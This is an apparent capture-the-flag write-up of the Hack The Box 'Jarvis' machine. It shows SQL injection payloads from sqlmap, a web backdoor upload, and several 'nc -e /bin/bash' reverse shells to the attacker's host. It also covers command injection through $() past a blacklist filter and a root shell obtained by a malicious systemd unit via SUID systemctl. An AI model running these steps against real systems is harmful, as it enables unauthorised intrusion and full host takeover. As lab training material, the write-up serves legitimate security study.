Menu Close Jarvis Writeup

  • Release Date: 22 June 2019
  • Creators: manulqwerty & Ghostpp7
  • Difficulty: Medium
  • Retired on 10 November 2019


  • SQL Injection in web app leads to command execution as www-data.
  • www-data is allowed to run a particular script as the user “pepper”, it is vulnerable to command injection.
  • SUID is set on systemctl, a systemd unit file is used to get a root shell.

Port Scan

Full Nmap scan reveals 3 open TCP ports:

  • 22
  • 80
  • 64999
nmap -sV -sC -T4 -vvv -oN nmapfull -p-
22/tcp    open     ssh          syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzv4ZGiO8sDRbIsdZhchg+dZEot3z8++mrp9m0VjP6qxr70SwkE0VGu+GkH7vGapJQLMvjTLjyHojU/AcEm9MWTRWdpIrsUirgawwROic6HmdK2e0bVUZa8fNJIoyY1vPa4uNJRKZ+FNoT8qdl9kvG1NGdBl1+zoFbR9az0sgcNZJ1lZzZNnr7zv/Jghd/ZWjeiiVykomVRfSUCZe5qZ/aV6uVmBQ/mdqpXyxPIl1pG642C5j5K84su8CyoiSf0WJ2Vj8GLiKU3EXQzluQ8QJJPJTjj028yuLjDLrtugoFn43O6+IolMZZvGU9Man5Iy5OEWBay9Tn0UDSdjbSPi1X
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCDW2OapO3Dq1CHlnKtWhDucQdl2yQNJA79qP0TDmZBR967hxE9ESMegRuGfQYq0brLSR8Xi6f3O8XL+3bbWbGQ=
|   256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPuKufVSUgOG304mZjkK8IrZcAGMm76Rfmq2by7C0Nmo
80/tcp    open     http         syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
|   /:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open     http         syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SQL Injection

By taking a look at the web app on port 80, we find a booking system ( Sqlmap quickly finds several SQLi vulnerabilities in the cod parameter.

sqlmap -u
[10:31:37] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 6579=6579

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cod=1 AND (SELECT 8911 FROM (SELECT(SLEEP(5)))tXpJ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-3245 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a786b71,0x5a43574a7a475047735141746a76454f4b78635242776a697761506c68525a684c555a524a5a4c53,0x7162786b71),NULL,NULL,NULL-- cYPv
[10:31:40] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12

We can use the convenient OS Shell feature of sqlmap to execute shell commands:

sqlmap -u --os-shell
[10:32:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[10:32:43] [INFO] going to use a web backdoor for command prompt
[10:32:43] [INFO] fingerprinting the back-end DBMS operating system
[10:32:43] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[10:32:46] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /var/www/html/
[02:25:42] [INFO] retrieved web server absolute paths: '/images/'
[02:25:42] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[02:25:43] [INFO] the file stager has been successfully uploaded on '/var/www/html/' -
[02:25:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' -
[02:25:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'www-data'

Let’s get a better shell:

os-shell> nc -e /bin/bash 5566
do you want to retrieve the command standard output? [Y/n/a] n
root@kali:~/Documents/htbmachines/jarvis143# nc -vlp 5566
listening on [any] 5566 ...
connect to [] from supersecurehotel.htb [] 34850
python -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation Part 1 – Pepper

By looking around, we notice www-data can run a python script as the pepper user:

www-data@jarvis:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/

Let’s take a look:

www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper ./

* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
Usage:  python3 [options]

    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP

The ping function of that script is defined as follows:

 def exec_ping():
    forbidden = ['&', ';', '-', '\`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
    os.system('ping ' + command)

So we can pass anything to the ping command, except the following characters: ‘&’, ‘;’, ‘-‘, ‘`’, ‘||’, ‘|’.
But we can still use parentheses and dollar signs, so we can use command substitution syntax (i.e. $(command)) to execute arbitrary commands.

Let’s put a reverse shell command in a file and start listening for connections.

On Jarvis:

www-data@jarvis:/var/www/Admin-Utilities$ echo "nc -e /bin/bash 5577" > /tmp/


root@kali:~/Documents/htbmachines/jarvis143# nc -vlp 5577
listening on [any] 5577 ...

Then, we use $() syntax to execute the command we’ve put in /tmp/ :

www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper ./ -p
sudo -u pepper ./ -p

Enter an IP: "$(/bin/bash /tmp/"
"$(/bin/bash /tmp/"

And we get a connection:

root@kali:~/Documents/htbmachines/jarvis143# nc -vlp 5577
listening on [any] 5577 ...
connect to [] from supersecurehotel.htb [] 50598

Privilege Escalation Part 2 – Root

Using the shell obtained in the previous step, we notice that SUID is set on the systemctl binary:

pepper@jarvis:/var/www/Admin-Utilities$ ls -la `which systemctl`
ls -la `which systemctl`
-rwsr-x--- 1 root pepper 174520 Feb 17  2019 /bin/systemctl

Since the executable is owned by root, we can run systemctl with root privileges. Systemctl provides the edit command to edit systemd unit files. Combining it with the --force flag allows us to create a new unit file, but the editor won’t work in the current shell. To proceed, we can add an SSH public key to pepper’s authorized_keys and get a nice SSH session, in which the editor will work. Then;

pepper@jarvis:~$ systemctl edit --force nxnjz.service

The following service will give us a root shell:

ExecStart=/bin/nc -e /bin/bash 7788

Finally, start listening for connection and start the newly-created service:


root@kali:~/Documents/htbmachines/jarvis143# nc -vlp 7788
listening on [any] 7788 ...

On Jarvis:

pepper@jarvis:~$ systemctl start nxnjz.service

And voila:

root@kali:~/Documents/htbmachines/jarvis143# nc -vlp 7788
listening on [any] 7788 ...
connect to [] from supersecurehotel.htb [] 37082

More Info

From BASH(1) Manual:

 Command Substitution
       Command substitution allows the output of a command to replace the command name.  There are two forms:


       Bash performs the expansion by executing command in a subshell environment and replacing the command substitution with the standard output of
       the command, with any trailing newlines deleted.  Embedded newlines are not deleted, but they may be removed during word splitting.  The com‐
       mand substitution $(cat file) can be replaced by the equivalent but faster $(< file).

       When the old-style backquote form of substitution is used, backslash retains its literal meaning except when followed by $,  `,  or  \.   The
       first  backquote not preceded by a backslash terminates the command substitution.  When using the $(command) form, all characters between the
       parentheses make up the command; none are treated specially.

       Command substitutions may be nested.  To nest when using the backquoted form, escape the inner backquotes with backslashes.

       If the substitution appears within double quotes, word splitting and pathname expansion are not performed on the results.

From SYSTEMCTL(1) Manual:

edit UNIT...
           Edit a drop-in snippet or a whole replacement file if --full is specified, to extend or override the specified unit.

           Depending on whether --system (the default), --user, or --global is specified, this command creates a drop-in file for each unit either
           for the system, for the calling user, or for all futures logins of all users. Then, the editor (see the "Environment" section below) is
           invoked on temporary files which will be written to the real location if the editor exits successfully.

           If --full is specified, this will copy the original units instead of creating drop-in files.

           If --force is specified and any units do not already exist, new unit files will be opened for editing.

           If --runtime is specified, the changes will be made temporarily in /run and they will be lost on the next reboot.

           If the temporary file is empty upon exit, the modification of the related unit is canceled.

           After the units have been edited, systemd configuration is reloaded (in a way that is equivalent to daemon-reload).

           Note that this command cannot be used to remotely edit units and that you cannot temporarily edit units which are in /etc, since they
           take precedence over /run.

Leave a Reply

Your email address will not be published. Required fields are marked *